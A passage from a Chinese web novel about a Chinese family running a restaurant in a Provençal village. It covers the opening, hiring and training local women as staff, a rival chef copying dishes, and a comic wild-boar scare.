餐厅运转中的最重要的人物不是罗南,而是罗天海。 但今天他这个‘中枢大脑’被死死的捆在灶台上。 即使配菜、切菜、摆盘都安排了出去,他只负责炒也依然忙不过来。 开业第一天能顺利的度过已经算是万幸了! 罗天海又气又笑的说: “我以为只能有一多半的上座率,主厨是我,你偶尔来帮帮我足够了没想到今天客人一直没断过。” 罗南把碗放下: “你最近太‘吝啬’了,我明明留了三个灶头,你非要一个人揽下所有。” 罗天海呵呵笑道: “加加加!我现在就进去招工!” 卢尔马兰没有夜生活。 但近10点,罗南的餐厅里依然灯火通明。 餐厅的火爆景象让罗天海对经营情况充满信心。 全部使用‘临时工’只是因为对经营情况没有信心还有节省开支,但现在绝对可以拉一支专业的班子了。 来帮忙的人也猜到罗南父子接下来要说的事,因为餐厅确实太太太火爆了,村里一定会有几个幸运的家伙能获得一份正经工作。 只不过罗天海的招工数量让他们狠狠吓到了。 “大家也看到今天的情况了,我们的餐厅很受欢迎,顾客吃完的反馈也非常不错,但问题也随之暴露出来——后厨和前厅都太缺人了。” 罗天海坐到一张桌子上,看着笔记本上和罗南刚刚沟通好的内容说: “所以我们想招几个正式员工:领班1人,负责统筹前厅的工作和迎宾;服务员7人,每人服务20个餐位;后厨洗碗工2人、甜品助手1人、凉菜厨师1人、打杂3人、切菜3人、炒锅师傅2人——” 以上的20人,加上收银的冯珍、做甜品的莉亚、哪里需要补哪里的罗南和他自己,就是餐厅的全部‘主力’。 康奈尔一口饭差点噎住: “你们要招20个人?” 卢尔马兰本村基本没有招工的地方,有也只会找亲戚和朋友,很多农夫到了农闲时间只能去外村‘打工’。 但即使像莫力酿酒合作社那样的‘大企业’也没有这么多工作机会. 罗天海合上本子解释道: “这还是考虑了我和罗南的培训精力和现有规模后定的人数未来餐厅的人力会继续优化,如果顺利的话,到了明年春天员工人数可能会扩充到30-35个。” 从宣传力度上就能看出罗南对这个餐厅寄予厚望,餐厅在‘盈利’的基础上,还要向着更高更远的目标努力。 想要达成更高的目标必须精细化员工的能力,这些罗天海心里都清楚的。 听完罗天海的‘招工宣言’,现场乱作一团。 吕贝隆的居民太缺工作机会了。 可能有,但都是在大村子里,这种能在家门口工作的机会几乎没有! 谁不想多赚点钱呢? 大家纷纷自告奋勇的推荐自己。 亨利激动的举起手: “我什么都能干的!哪里缺人我就去哪里!” 康奈尔‘厚颜无耻’的推荐自己: “我可以当服务员吗?我一定会好好服务顾客的,我发誓!” 特奥把烟掐灭了,正经无比的说: “请问,还有比我更适合当领班的人吗?” 罗天海有些尴尬的看向罗南,似乎在求助。 罗南双手下压,示意现场安静一下,他有话要说: “我们需要全职员工。” 叫嚣最厉害的那几个人听到‘全职员工’马上哑火了。 亨利小心翼翼的问: “一定要全职吗?可不可以这几个月全职,到了春天.” 他的声音越来越小、越来越小. 罗南的眼神告诉他——这件事没有什么商量的余地。 罗南耐心的给大家解释原因: “从明天开始,我、我父亲和莉亚就要给员工进行培训了,所以大家其实是‘半工半学’的状态,我们希望人员能稳定一些。” “莉亚要教大家做甜品?” “老罗和罗南教我们做中餐?” “真的假的啊??” 现场又乱了起来。 在农夫们看来,罗南、罗天海和莉亚都是有一技之长的人,和他们不一样。 如果这些人愿意教他们东西那我们不是可以像这几个人一样厉害了? 坐在较远位置、和卢卡斯喝酒的皮埃尔忍不住插嘴: “罗南,但你在卢尔马兰很难找到全职的人啊,至少短时间凑齐20人很难,农夫不行,其他男人们也都有各自的工作,他们可能要考虑一下才能给你答复。” ‘老大哥’卢卡斯见小老弟罗南遇到了困难,主动说道: “明天一早我和皮埃尔去村子里问一圈,尽快帮你凑齐人手。” 罗南摇了摇头: “不用等明天。” 他走到和莉亚坐在一起的妮可拉和弗洛西面前,认真的问: “妮可拉、弗洛西,你们愿意来后厨帮莉亚和我吗?” 卢卡斯吓的差点把手边的杯子碰撒了: “你要找女人?” 在吕贝隆,女人即使工作也是跟着自己家的男人一起,或者在家里做手工活贴补家用。 路易笑着搂住莉亚的肩膀: “为什么不可以呢?莉亚现在已经是正式的甜品师了,下个月她要去阿维尼翁参加CFPP考试。” 罗南不理解的问这一屋子表情各异的卢尔马兰人: “跟男人女人没有关系,家里可以拥有两份收入.有什么不好的吗?” 第223章 一个新的卢尔马兰 卢尔马兰实在太落后了。 落后到女人除了缝绣被不知道还有什么其他赚钱的途径。 卢尔马兰同时也太穷了。 穷到罗南要靠其他村子里的客人才能活下去。 当他和罗天海商量要招工的时候,第一个想法都是——应该给女人们机会。 只有卢尔马兰的村民富裕起来,罗南的餐厅才能真正的安稳运营。 在巴黎的女人们能工作,为什么卢尔马兰的女人只能在家里缝绣被呢? 罗南甚至觉得卢尔马兰的女人比巴黎的女人更加能干,她们完全可以承担起家庭经济的重任。 他的话一出口,现场的反应比刚刚还要强烈和激动。 得到罗南直接邀请的妮可拉不确定的问: “真的吗?我真的可以吗?” “当然可以。”罗南笑着说,“你和莉亚配合的十分默契,我相信你的加入一定可以让我们的甜品出餐更快更好的。” 妮可拉激动的抱住莉亚: “亲爱的!我们可以一起工作了,上帝!我终于可以使用‘工作’这个单词了。” 莉亚拍着妮可拉的后背说: “我太为你开心了!” 另一位当事人弗洛西没有直接回复罗南,而是询问丈夫弗雷迪: “我可以去吗?” 弗雷迪比妻子还要激动,他用力抱住弗洛西: “当然了弗洛西.你再也不用羡慕莉亚了,未来你也是‘职业女性’,我真为你骄傲。” 弗雷迪的对罗南说: “弗洛西切菜和处理肉都非常厉害,她会是你非常得力的助手。” 罗南笑着耸肩: “哦,那太棒了,后厨正需要像弗洛西这样的人才。” 之后他笑着问其他人: “现在还有18个职位,有人要自我推荐一下吗?” 男人们争先恐后的把自己的妻子和女儿推出去。 “弗拉基妮小时候学过画画,她可以跟你学摆盘。” “阿松桑对孩子特别有耐心,可以让她做服务员!” “特丽玛莲总是把家里打理的井井有条,可以让她试试做领班吗?” 罗天海被人群团团围住,他高举双手大声喊道: “别激动,都别激动!我会帮你们找到最适合的岗位,先排一下队,谢谢!” 现场无比嘈杂,但提示音清楚无比的传入罗南的耳中,并激发出了他发自内心的幸福笑容: 【他人的幸福使你的幸福度增加5点】 【他人的幸福使你的幸福度增加6点】 【他人的幸福使你的幸福度增加6点】 几米外的安静角落。 皮埃尔给卢卡斯斟满酒,笑着摇头: “罗南总是能做出这种让人‘无法想象’的事情,上帝啊,他一次性给卢尔马兰的女人提供了20个工作岗位,你敢相信吗卢卡斯?这里可是卢尔马兰.” 卢卡斯眯着眼睛看那边热闹的人群,语气复杂的说: “我这次回来最大的感触就是——卢尔马兰不一样了,现在这种陌生感来到了顶峰。” 皮埃尔举起酒杯,放到卢卡斯面前: “我发誓只要你待在卢尔马兰,这种感觉便会持续出现在你的生活中,因为罗南会接连不断的创造出新的‘奇迹’!卢卡斯,欢迎你回到卢尔马兰.一个全新的卢尔马兰!” 人力的事情解决了,罗南也送别了朋友,但属于他的开业第一天仍然没有结束。 在他和罗天海招工的时候,佐伊在协助冯珍算今天的收入。 请了那么多员工,他们到底能不能赚钱呢? 罗天海的‘吝啬’是戒不掉了。 前脚刚大手笔请了人,后脚马上开始后悔。 “每个月光是人力成本就要支出5万多,我应该压缩一下,控制到15个人以内才对”罗天海顺着楼梯上二楼。 二楼没有装修,但罗南在这里布置了一个‘休息区’,有一张桌子、四把椅子和一张简易床。 无论谁累了,都可以上来暂时休息一下。 罗南跟在父亲身后: “钱不是省出来的,是赚出来的,先上去看看情况,如果压力大就再想办法。” 罗天海叹气: “也只能这样了。” 父子二人来到二楼,发现两个女人正‘推杯换盏’喝的不亦乐乎。 水泥地上倒着两瓶空粉红酒,每个人手上还拎着一瓶.说说笑笑、打打闹闹的跟姐妹似的。 罗天海和罗南各自查看自己女人的情况。 冯珍见罗天海来了叽叽喳喳的说: “哎呀老罗,我就说应该把后院的游泳池挖了,现在再挖也要明年才能用了,你这个吝啬鬼可气死我了。” 冯珍的酒量并没有多好,罗天海把酒抢下: “你怎么跟罗南学拎着瓶子喝酒啊?账呢,算完了吗?” 冯珍把身体重量压到老公身上: “楼上没有杯子!跟你说正事呢,你说咱们的游泳池是罗马式还是.佐伊,你刚刚说的那个风格是什么?” 另一边的佐伊已经‘窜’到罗南身上,大笑着说: “后现代奢华风!” 罗南有些心疼的问: “太累了是不是?我先送你回家。” 佐伊只有在极度疲惫的时候才会喝成这个样子,就比如前一阵子做美人鱼那段时间。 罗南猜在后厨忙了整整一天的她一定是累坏了。 佐伊突然用力抱住罗南的脑袋,用沮丧到快哭了的语气说: “我没有养你的机会了罗南其实我真的挺想养你的,而且我现在很有钱了。” 罗南在佐伊脸上亲了一下,哄着她说: “你随时都可以养我啊。” “可你比我还有钱!我要给你花多少钱才能算养你?可我没有那么多钱啊”佐伊可爱的嘟囔。 发现事态不对劲的罗南把脑袋凑到桌子上看: “你们算完了是吗?今天卖了多少?” 冯珍兴奋的大喊: “20997!我们一天卖了2万啊儿子!” 罗天海跟着欢呼了一下,不过马上严肃下来: “但今天的营业时间长,明天就不能这样了,10点开,7点半准时闭餐。” 今天实在太混乱,有客人就往里带,都没人记得‘打烊’这件事。 罗南的笑容已经止不住了: “但我们优化了人力,翻台率也会提高,可能差不多呢。” “不止!”冯珍原地转了一圈,像是一只翘起尾巴的花孔雀,“你们忘了今天除了酒水全场五折了吗?” 佐伊也跳下来,蹦蹦跳跳的说: “而且现在是非旅行季!” 两个女人幸福的抱到一起: “赚钱了,真的赚钱了!!” 从餐厅开始筹备之初,罗天海就一直在严格的按照一套从巴黎学来的经营理念运营餐厅。 在这套理念下,成本可控,利润也透明。 按照罗天海的预估,理想状态下,餐厅的净利润应该在15%-20%之间。 也就是说,如果罗南的餐厅每天都能卖出2万法郎营业额,一个月的利润大概在9万-12万法郎之间。 罗南当然知道每天2万法郎这个数字很难保持住,因为‘试营业’只有7天、因为宣传的热度总会退去、因为现在还不是旅行季. 但他又坚信2万法郎的单天营业额绝不是餐厅的上限,因为卢尔马兰的‘春天’真的在不知不觉中到来了。 罗南的餐厅开业后,商业街上几个暂时闭店‘过冬’的店主全部重新开了业。 虽然餐厅随后的人流量没有第一天那么夸张了,但每天还是接连不断有人慕名而来。 “听说卢尔马兰新开的那个餐厅开业当天,连米切兰杂志出版的主编都去了,她可是每天和大明星们一起吃饭的大人物,她去过的餐厅应该不会差.去尝尝吗?” “你知道吗,吕贝隆里开了一家中餐厅,没错,你没有听错,就是中餐!我同事去吃了,说味道非常不错,我们周末也去尝尝吗?” “梅纳村的集市太火爆了,一结束吃饭的地方全部爆满,要不我们去旁边的卢尔马兰吃午饭?刚刚在集市上吃的锅包肉摊主说他们的餐厅在那里,再去尝尝更多的中国菜吗?” 只要罗南的餐厅有客人,商业街上的店铺就有顾客。 开那么远去吃饭,不逛一逛再走不是浪费了开来的这些油钱吗? 卢尔马兰人渐渐习惯了在非旅行季村里也会出现陌生人。 但这情况吕贝隆其他地区的人都不习惯. 当有心人直接或间接听说,在卢尔马兰有一条非旅行季也有客人的商业街后,纷纷把目光聚焦到了这里。 在罗南餐厅开业的当周,商业街上空置了好几个月的两个商铺接连被人租走。 稍小的那一间卖服饰。 稍大的那一个商铺未来要开酒店。 虽然小,但它不是家庭旅馆性质的,是卢尔马兰第一家正经的酒店,这预示着卢尔马兰的旅游业配套设施更加完善了。 得到这个消息后,布兰科马上把这个重要信息编辑入了明年春天要交到沃克吕兹省旅游局申请新预算的资料里。 没错,这件事现在就要开始筹备了。 接连被拒四次,这次布兰科抱着‘死磕到底’的心态,势必要把预算申请下来。 但有决心和信心是远远不够的,还需要能拿得出手的重要说服手段。 “除了卢尔马兰即将拥有第一家酒店外,近期还有什么值得留意的大事发生吗?” 周会上,布兰科询问他的得力下属们。 最近他实在太忙了,没有时间出去了解情况,这些工作人员就是他的眼睛。 旅游管理中心的负责人克劳德笑着和其他同事交换了一个眼神: “如果说大事,那一定是罗南的餐厅了。” 布兰科一听到‘罗南’这个名字就开心,嘴角上扬着说: “我当然知道罗南的餐厅是村里的大事,我已经在申请资料里加入了大段关于那家中餐厅的描述,我问的是其他的事。” 希尔维耸肩: “布兰科,我恐怕你说的大事和我们说的大事不是一件大事。” “嗯?”布兰科疑惑的发出一声鼻音,“那里又发生什么了吗?” 克劳德看了一眼手表,询问布兰科: “不如今天带你去看看?” 罗南的餐厅10点才开门。 但9点一过里面就有不少人了。 大堂里,路易在口若悬河的给7个服务员‘上课’: “接待客人的时候禁止使用‘喂’和‘找别人’等冷漠词汇,一定要时刻表达‘我会竭尽全力帮你解决问题’的态度,其实和人交流很简单的,我们现在练习一下——” 在这几个人的四周,还有十几个围观的女孩。 她们虽然不在队列里,但也听的非常认真,似乎也要立志做一个优秀的服务员一样。 “咔嚓——” 希尔维拍下这个画面后带布兰科去后厨: “再去后面看看。” 后厨里没有围观的人了,因为地方不够,连布兰科他们几个也只能站在门口看着。 灶炉旁,罗天海给两个四十多岁的女性演示‘火候’的重要性。 一个带着头巾,满脸皱纹的女性完美的复刻了罗天海的动作,马上得到了夸赞。 “阿松桑,你做的非常对,就是这个样子!” 阿松桑既紧张又兴奋的说: “谢谢罗先生,谢谢.” 水池旁,几个妇女熟练的把一盆盆菜清洗干净。 比腰还粗的大盆在她们手里像玩具一样听话,但干体力活的她们脸上始终洋溢着幸福的微笑。 “弗拉基妮,你们洗完就切菜吧,按照我昨天教你们的切法。” 罗南一边教一个妇女‘摆盘’,一边对那一侧的几个人说。 那名叫弗拉基妮的妇女紧张的搓手: “罗南先生,那个切法我们还不熟练,别把菜浪费了。” 罗南抬头笑着说: “没事,多练习几次就好了,如果切的不好就留下中午咱们自己吃。” “好的,好的罗南先生!” 厨房里很快传出整齐划一的菜刀和案板撞击的‘哒哒’声。 希尔维不想破坏这种美妙的氛围,小声对布兰科说: “罗南给了村里女人工作的机会,这就是最近最大的事了。” 这些终日以孩子、家务为伍的女人走出家庭,拿起刀和锅,用另一种方式承担起了家庭的重任,打破了存在于吕贝隆几百年的认知固化。 还有什么事比这件事更大吗? 布兰科拿起希尔维脖子上的相机,默默记录下来了后厨里的女人们幸福工作的美好一幕。 他既欣慰又感激的说: “我要把这些照片单独列出一项放到给沃克吕兹省旅游局的资料里。” “那这一项的名称是?”克劳德不解的问。 “叫美丽的卢尔马兰。”布兰科激动的攥了下拳,“我们终于有其他村子没有的‘景色’了。” 第224章 罗师傅太难了! 10月份葡萄已经采收完毕,下一次农忙要等到树枝掉尽,冬季剪枝的时候。 不用干农活的罗南把全部精力扑到了餐厅的员工培训计划里。 普罗旺斯人习惯早起。 所以在餐厅开业之前可以有不短的时间用于培训员工,而这些普罗旺斯妇女也很乐于在获得一份工作的同时掌握专业的技能和知识,因此配合积极。 善于和客户打交道并深谙说话艺术的路易负责前厅服务员培训。 主厨罗天海负责培训厨师、凉菜师傅和配菜干杂活的帮厨。 莉亚教妮可拉制作带有中式元素的甜品。 罗南在培训员工摆盘的同时,还承担起了切菜这项技能的培训工作。 没错,在整间餐厅里,他是切菜最快、最厉害的人,超过了干了几十年厨师的罗天海。 承担起这份职责除了由于系统给罗南带来的出神入化刀工外,还由于教普罗旺斯人切菜是一件无比困难的事情罗天海教了一天就‘罢工’了。 “罗南还年轻,肯定没有高血压的困扰,让他去教吧。”罗天海发表了类似的‘下课感言’。 普罗旺斯的妇女们习惯用很小的刀子处理食材,即使是肉类也如此。 在本地菜系中,片状的食材不常见,更不要说丝.他们大部分情况下吃块状的食物。 但中餐中丝和片出现的非常频繁,所以罗南要从使用菜刀开始教起。 指望她们的小刮刀切出漂亮的土豆丝可能真的要指望上帝降临‘神启’了。 “中餐厨师通常只使用一把刀,刀尖切菜,刀的中段剁菜,不不不,不要用勺子辅助,只用一把刀就可以了。” 今天练习的依然是切丝,罗南一边演示还要一边留意这些人的切菜不良习惯,眼比手还要累。 “上帝!你不要在切菜的时候看别的地方,那太危险了!”妇女们发出恐怖的声音,生怕下一秒罗南的手指和他的身体分离。 罗南不仅不用看菜板,还能在切菜的同时做出耸肩的动作: “电影里的厨神闭着眼睛都可以切菜,这叫人刀合一我听说阿克尼娜可以一边缝绣被一边看电视,是一样的道理,熟能生巧。” “中餐真是一门复杂的学问”妇女们由衷的评价道。 来罗南的餐厅上班前,她们只觉得吃饭是为了温饱,不过有好吃和不好吃之分。 但参加了罗南和罗天海的‘培训’后,她们了解吃饭不只有味道这一个决定因素,色香味都可以影响餐品的好坏,并且缺一不可这太神奇了。 突然,一个梳着辫子的年轻女孩跑了进来: “罗南,你那个奇怪的朋友又来了。” 餐厅的领班是一个长相不错,人也机灵的小姑娘,名叫伊莎贝尔。 虽然只有19岁,但经过罗天海、罗南和路易的一致评估,认为她完全可以担任起领班这个重要的职位。 而她也没有辜负大家对她的期望,罗南和罗天海在后厨忙的时候,她可以顺利的把前厅打理的井然有序,同时还能处理好一些‘突发情况’。 就比如罗南有一个奇怪的朋友,隔三差五就要来餐厅吃一次,伊莎贝尔认出他,询问需不需要把罗南喊来,那人以不要‘打扰罗南’为由拒绝了。 不过伊莎贝尔还是次次都会来罗南这里‘通风报信’。 罗南问伊莎贝尔: “他点菜了吗?” 伊莎贝尔点头: “还是那几道,宫保鸡丁、麻婆豆腐和回锅肉,这人真奇怪啊,咱们菜单上有那么多选择,可他只点这几道都吃不腻的吗?” 罗南把菜刀放下,笑着说: “因为还没‘学’会啊,看来咱们的朋友遇到了技术难题,走,帮帮他去。” 临走前,罗南对几个切菜工说: “好了,切丝的练习结束,大家正常备菜吧,别忘了我之前教你们的那些东西啊。” “好的,你去忙吧。”妇女们热情的回应。 说着,她们拿起土豆、胡萝卜、黄瓜和南瓜,直接握在手里。 罗南见状崩溃的说: “用菜板,不要握在手里切了!” 这是普罗旺斯妇女的另一个坏习惯,切蔬菜的时候习惯拿在手里,不习惯用菜板。 负责切菜的弗拉基妮不好意思的说: “抱歉啊,我以为只有切丝需要用菜板呢。” 罗南:“.” 难啊,太难了!! 罗南的餐厅开业后,阿图尔一周内来了三次。 有的时候在店里吃,有的时候带走吃但无论怎么吃永远点的都是那几道东西。 开业当天,罗南给他们这桌上的是几道传统中餐,既有中式特色又好吃,给阿图尔留下了深刻的印象。 阿图尔回家后给在巴黎的同行朋友打电话,得知巴黎的中餐厅也是用这几道做‘招牌菜’的。 于是喜欢通过‘学习’提升自己的阿图尔,又打起了其余几道菜的主意,尤其是那道宫保鸡丁他认为这道菜在普罗旺斯的适配度不会比锅包肉差,完全可以在他的融合餐厅中推出。 所以必须学会! 但他又不想让罗南发现他这么频繁的来吃这几道菜,所以每次来都‘偷偷摸摸’的。 “还好罗南不怎么来前厅。”阿图尔庆幸的嘟囔,“现在的宫保鸡丁口味已经有了7、8分相似,再吃这一次差不多就可以完全模仿成功。” 正想着这些,服务员将红酒送了过来: “先生您的酒,需要现在开吗?” 阿图尔闻言抬头,和头顶服务员的眼神撞到了一起。 “阿图尔?!” “罗南?!” 罗南如见到老朋友一样兴奋的问: “你来了怎么也不让服务员通知我一声?” 之后他回头对伊莎贝尔喊: “给这桌再加两道菜!” 阿图尔连连摆手: “就我自己,吃不了那么多,不过你这个老板怎么亲自当服务员了?” 罗南坐到他的对面,笑着说: “什么老板啊,缺人了不还是要干活?刚开业人手不太够,哪里缺人我就去哪里,诶对了你点了什么菜?” 阿图尔笑着摊手: “还是开业吃的那几道,回去我一直在回味它们的味道,忍不住又来吃了。” 罗南主动给阿图尔倒酒: “别总夸啊,也提提意见,味道怎么样?有哪里需要改进的吗?” 见罗南主动提起口味的问题,阿图尔心中一喜: “味道非常好,你知道的,和我一起来的几个人都是开餐厅的,我们一致认为你的餐厅非常有特色,虽然是陌生的口味但并不会让人难以接受。” 这也是阿图尔要来‘学习’的原因,罗南餐厅的菜非常符合当地人的口味,但又有陌生感,这是非常宝贵的‘特色’。 罗南笑着点头: “特色肯定要有,毕竟是中餐嘛,和大家平时吃的东西不同,做法也不一样。” 阿图尔斟酌了一下,问道: “你提到做法,我想到一件事,保鸡丁里的鸡肉口感非常好,是跟锅包肉一样也事先简单腌制处理了一下吗?” 罗南也心中一喜,原来卡在这里了吗? 别急别急,我这就告诉你! “哦不不不,宫保鸡丁的鸡肉处理方式和锅包肉完全不一样,首先啊必须选择鸡腿肉,鸡胸肉不行,其次——” 将阿图尔满意的送走后,伊莎贝尔不解的问罗南: “为什么要教他?而且还教的那么细,这人一看就是来‘偷师’的,我下次都不想接待他了。” 罗南向着后厨走: “不接待可不行啊,我巴不得像阿图尔这样的人多来一些呢,哦对了,下次他再来时你记得给他推荐鱼香肉丝或者红烧肉。” 丽莎贝尔而不理解,撅着嘴说: “都让他学走了,他在阿普特也开中餐厅了怎么办?那我们就不是吕贝隆唯一的一家了!” 罗南笑着洗了手,继续干之前的活儿: “就咱们一家做中餐的很难在普罗旺斯把名声打出去,他如果能开第二家中餐厅,我第一个给他送花篮去,那可太谢谢他了!” 伊莎贝尔着急的说: “那会分走咱们客人的呀!” 罗南笑着摇头: “就凭他吗?他啊,他只能学会我想让他‘学会’的。” 罗南哼着小曲,用筷子夹起之前切出来的腰花: “中餐只靠‘神似’是不行的,刀工他有吗?懂火候吗?听过‘锅气’吗?” 阿图尔这类人的作用不过是让普罗旺斯更多的人知道‘中餐’这个东西的存在而已,中餐的精髓他们是永远做不出的,罗南就是有这个信心。 正在切菜的弗拉基妮表示赞同的点头: “中餐里的门道太多了,这是一门复杂的学问,太难了。” 罗南笑着对伊莎贝尔说: “必须好好接待这些来‘学习’的朋友们,他们就是咱们的传单,短时间内可能看不出什么效果,但未来一定会起到关键作用的,我发誓!” 伊莎贝尔依然不理解罗南说的‘传单’的意思,但她选择相信并且照做。 因为全卢尔马兰人都知道——罗南的决定永远是正确的。 罗南的餐厅在布兰科眼中毫无疑问是村里最大的大事。 不过在罗南眼中,近期村子里真的发生了一件天大的事,直接影响他生活的那种。 他家门口的那片密林在某一天被封锁了,原因是有猎人在那里发现了野猪的踪迹。 这次危险真的来到了他们的身边! 第225章 我们是这世界上最般配的人! 在靠近村庄的地方出现野猪的踪迹是一件很危险的事。 据说这种家猪的祖先什么都吃,所到之处土地全部伤痕累累的。 卢尔马兰的农夫中不只一位控诉过他们的瓜田被野猪偷袭过。 还有不少人言之凿凿的说,他们遇到过这种300多斤的庞然大物从几百米的地方朝他们冲来,把一路的树和石头都撞翻了的景象。 “没有把你撞翻吗?”罗南严肃的问法比安。 罗南最近一直在从身边人身上打听关于野猪的消息。 距离那片密林最近的住户就是他家了,如果那头野猪跑出来,第一个遭殃的就是他。 必须尽可能多的了解‘敌人’。 法比安后怕似的点了一支烟: “万幸我那天带了枪,用枪吓退了它。” 罗南发现了其中的一个逻辑漏洞: “既然带了枪,你为什么不直接把它打死?” 法比安耸肩: “我带的子弹不够多,如果没有杀死野猪,死的人会是我,你知道吗,野猪是会吃人的。” 罗南的表情从来没有这么严肃过: “你对它开了两枪,那只吃人的家伙就放过你了?” 法比安深思熟虑后回答: “它冲去了另一个方向,我猜它的目标本就不是我,可能是村里的瓜田或者其他什么的,总之我侥幸捡回了一条命。” 罗南叹气: “如果密林里的那头野猪是来村子附近找东西吃或者水喝.我家肯定逃不掉,难道它会傻到绕开我家和葡萄园,再跑几百米去村中心吗?” 见不得罗南受一点委屈的亨利开启了辱骂模式: “政府应该放开打猎时间!现在给那些东西太多繁衍生息的时间了,它们每年中有八个月可以安全的走在普罗旺斯的土地上,不生孩子能干什么呢?野猪一窝最少可以生6只崽子,多的可以生12只!然后这些小崽子明年继续生崽子,用不了几年普罗旺斯的野猪就会比人多了!” 感谢亨利的安慰,罗南的脸色更难看了。 那片密林里来的不会是一个野猪家族吧?! 皮埃尔也开始安慰罗南: “听说政府把那片密林封锁起来,是因为要进行专业的野猪驱赶行动,到时候这附近的猎人都会去参加,放心吧罗南,野猪问题很快就会解决了。” 皮埃尔的安慰起不到任何安慰作用,罗南紧张的问: “这附近的猎人都去.意思是咱们村里的猎人也要一起?” 特奥叼着烟说: “我最近要帮卢卡斯办事,没时间去。” 法比安也遗憾的说: “这几天我要去一趟阿普特,也没办法参加了。” 罗南的表情终于好一些了: “那就好,那就好。” 如果是你们去,我家才真的是完了! 自那之后,罗南一家一边心惊胆战的过日子,一边期盼着皮埃尔口中所说的那个‘专业野猪驱赶行动’尽快开启。 加布里埃尔送来的两把枪永远放在最容易拿到的位置,马赛和小黑也由于特殊情况送去佐伊家过‘秋假’了。 三口人早上一起离开,晚上一起回家,没有个人时间,也没有了自由。 罗南有一种错觉——政府封锁的不是那片密林,而是把他们三口人封锁了。 “野猪快离开这里吧,这种日子太难熬了!”冯珍每天都会如是的抱怨。 在一个气温不高的清晨,罗南一家终于盼来了他们的救星——五辆吉普车和坐在里面的十几个猎人。 罗南第一反应是有救了! 因为来的全是生面孔,这说明他认识的那些业余猎人没有参与行动。 第二个反应是专业! 他们不仅穿了统一的迷彩服,装备也非常先进,像是一群训练有素的雇佣兵。 猎狗也看起来非常靠谱,下车后没有一个谈恋爱的,全部气势汹汹的围着原地转圈并伴有不好惹的嘶吼,似乎已经在演习如何围堵野猪了。 这种视觉冲击让罗南感到置身于一场大搜捕或者一触即发的战争之中,紧张的同时又获得了满满的安全感。 他相信今天过后,日子一定会回到原先的轨迹! 为了第一时间得到大战的结果,巴黎一家人给学员们放了一天假,专心在家里等待战场里的好消息。 但罗天海也没有闲着: “我从莉亚那里学习了如何做蛋糕,等他们休息的时候送过去。” 冯珍马上去拿水果: “我再切个果盘,毕竟人家是来帮助咱们的,必须要好好感谢他们。” 罗南转了一圈,也想找点活干: “那不如我冻点酒?咱家似乎没有冰镇啤酒了。” “不行不行,干那么危险的事怎么能喝酒呢?你怎么能干这么不靠谱的事啊!”冯珍严厉制止。 罗南砸吧了一下嘴,拿起咖啡壶: “行,那我煮点咖啡吧。” 三口人一边准备‘慰问品’一边焦急的看窗外。 找没找到野猪啊? 上午9点多,前线的第一道消息传回了罗南家。 眼尖的冯珍看到阳光下有一个穿着迷彩服的猎人向他们这个方向走来。 在身后阳光的衬托下,他像是从战场归来的士兵一样神圣。 在她的提示下,罗南和罗天海也发现了那个人。 不过年轻人的眼神更好一些,罗南发现他一只肩膀上扛着一支来福枪筒,另一只肩膀上也扛着一个东西,看起来毛茸茸的。 “他的猎狗.好像受伤了。”罗南说出了他的判断。 “不会吧,那么危险吗?猎狗被野猪咬了?!”冯珍吓的关上窗子,似乎下一秒那只野猪就要冲进家里把他们全部吃了。 罗天海打开门: “去看看,也许他需要帮助。” 罗南家是距离密林最近的住户,也是这场大战里唯一的补给站。 “它还好吗?”巴黎一家人小跑过去,查看猎人和他猎狗的情况。 这只可怜的猎狗整只右前掌上全是血迹,把它主人的迷彩服都染红了,而它另外的三只腿无力的耷拉下来,一看就是受了非常严重的伤。 “上帝,去我家处理一下吧,那里有处理外伤的药。”冯珍主动把猎人请回家。 “谢谢。”那猎人的脸上看不出任何感激的神情,悲伤似乎将他吞没了。 他扛着猎犬来到列南家的院子,认真的冲洗猎狗的脚掌并查看伤情。 罗天海善意的提醒道: “我劝你简单处理一下赶紧带它去看兽医,听说野猪身上带有病毒,如果被感染就麻烦了。” 每一只被狩猎到的野猪必须切下舌头送去专业的地方化验,通过后才可以食用或者买卖,这是普罗旺斯人都知道的常识。 那人悲痛欲绝的说: “应该不用,我们并没有看到野猪。” “没有看到野猪?那它怎么受伤的?”冯珍眼睛瞪的比灯泡还要大。 那人叹气: “它怕热,一整个夏天都待在家里没怎么出去,爪子不锋利了,今天稍微跑多了一点爪子就受了伤。” 巴黎一家人:“???” 说好的专业猎人呢? 罗南一直安慰自己,这个人也许是个偶然现象。 那十几个人里一定会有专业猎人的存在,并可以顺利解决他们的大麻烦。 但不到十点,那些人就全部退出了密林。 他们脱掉了迷彩服,换上了干净的衬衣,放下了猎枪和专业工具,拿起了刀叉,就那样在罗南的葡萄园边开始了野餐。 期间还去罗南家要了一次冰块,说他们的啤酒不够冰。 罗南去餐厅上班的路上气愤的攥紧拳头。 在普罗旺斯没有一个靠谱的猎人,没有一个! 保护家园的任务只能自己扛下了!! 当天晚上回家时,密林的封锁解除了。 听说是这批专业的猎人并没有在里面发现野猪的痕迹,而且自始至终也没人真的见到过野猪在那里出没,不过是有几个疑似野猪的脚印被发现罢了。 不过封锁解除并没有让罗南掉以轻心,为了保护家人和自己,他把系统里的【打猎】技能升到了3级,以求能通过系统给予的能力提升全家的安全系数。 自从8月花2000点【幸福度】把【烹调】学到4级后,罗南一直没有太多消耗,【编织】和【制陶】都只是花了600点学到三级。 现在他每个月可以积攒2000左右【幸福度】,将【打猎】也升到3级后,依然还有1500多点剩余,可以用于之后的使用。 2级【打猎】带来的依然是基础知识和打猎常识,如果罗南看到密林里的那个疑似脚印,可以清晰的判断出那究竟是不是野猪。 3级【打猎】带来了两个能力。 一个是对动物的了解加深了,他现在可以通过动物的叫声和行为特征,判断出对方想要表达的大体意思,无法细致到具体内容,但情绪是可以看出来的。 第二个能力是强化了他对枪械的使用能力——卢尔马兰的神枪手就此诞生了! “来吧野猪,只要你出现在我的射程范围之内,3枪之内我必取你性命!” 黑暗中,罗南握着他的双枪,眼神炯炯的宣誓! 封锁解除并没有给罗南一家带来什么改变。 冯珍睡觉前依然会用重物抵住大门,生怕野猪在夜晚闯入。 每天早上醒来的第一件事就是查看家里和葡萄园的情况,生怕他们好不容易建起来的家被某些庞然大物‘夷为平地’。 她也习惯了无论干什么事都会神经兮兮的盯着窗外看,以便能第一时间发现那个传说中可以把树和石头全部掀翻的坏东西。 这一天早上,三口人吃过午餐,正要去餐厅上班,放哨的冯珍发出了一声比幼年时期马赛还有穿透力的尖叫声。 “野猪!野猪出来了!!” 罗南几乎是把杯子扔出去的。 他拿起那两把枪来到窗口,果然在葡萄园的最远端看到了一个黑乎乎、正在移动的东西。 虽然很远,他确信那一定是野猪! 